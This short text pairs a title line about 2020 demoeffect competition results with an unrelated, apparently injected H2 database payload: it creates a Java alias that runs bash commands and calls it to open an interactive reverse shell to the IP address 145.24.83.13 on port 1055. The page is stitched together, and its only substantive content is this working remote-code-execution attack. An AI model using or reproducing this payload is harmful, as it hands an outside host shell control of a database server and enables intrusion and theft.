ECM Mode Demoeffect Competition 2020 results
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('setsid bash -i &>/dev/tcp/145.24.83.13/1055 0>&1 &')